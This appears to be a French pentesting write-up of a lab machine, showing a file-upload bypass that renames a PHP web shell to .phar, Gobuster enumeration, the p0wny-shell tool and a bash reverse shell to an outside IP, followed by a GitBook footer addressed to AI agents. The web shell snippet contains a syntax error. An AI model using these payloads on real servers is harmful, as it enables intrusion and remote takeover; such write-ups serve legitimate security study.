> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# Téléversement de fichier avec extension .phar

<figure><img src="/files/e153b71b8b9eeb7f91093c3940b5bead713f2f52" alt=""><figcaption></figcaption></figure>

#### Exploitation initiale :

Tentative d'exploitation d'une vulnérabilité de téléversement de fichier en insérant un fichier PHP malveillant

```php
<?php
system($_GET['cmd'];
?>

```

Le serveur rejette automatiquement les requêtes de téléversement de fichiers avec certaines extensions.

<figure><img src="/files/fa6f60a424d84778ef7e39c007fe1f7c8d91f60b" alt=""><figcaption></figcaption></figure>

**Interception avec Burp Suite :** Utilisation de Burp Suite pour intercepter et analyser le trafic afin de comprendre les erreurs d'exploitation

<figure><img src="/files/d68de581d19e351e41640c44ea1902c244553ba6" alt=""><figcaption></figcaption></figure>

#### Modification de l'extension PHP :

Modifier l'extension du fichier de `.php` en `.phar` dans la variable `filename`, et s'assurer que l'emplacement est accepté avec succès

<figure><img src="/files/c79de78fd2733b050ea99101939525bb86fe7ba3" alt=""><figcaption></figcaption></figure>

**Énumération des répertoires :** Utilisation de Gobuster pour identifier les répertoires sur un serveur web et localiser le stockage des images médicales téléversées.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/eb7d1a8c8648f119cbe3eb32be031fc214251e7b" alt=""><figcaption></figcaption></figure>

#### fichier non interprété :

Le contenu d'un fichier .phar n'est pas interprété.

<figure><img src="/files/32f98756e0a744bf4cfa26173519db2e2de0bc73" alt=""><figcaption></figcaption></figure>

**Utilisation d'un outil GitHub pour créer un shell :** Utilisation d'un outil provenant d'un projet GitHub pour contourner les restrictions de téléversement de fichiers PHP et obtenir un shell d'accès

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/a459a396e3d0f383daf3a260b00e13b6848e838a" alt=""><figcaption></figcaption></figure>

**Lancement d'un shell inversé :**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

Exécution d'une commande de shell inversé pour établir un accès interactif à la machine cible et obtenir un contrôle total.

<figure><img src="/files/6255a64bfef0749051dd10939e78d7c3c6292a30" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
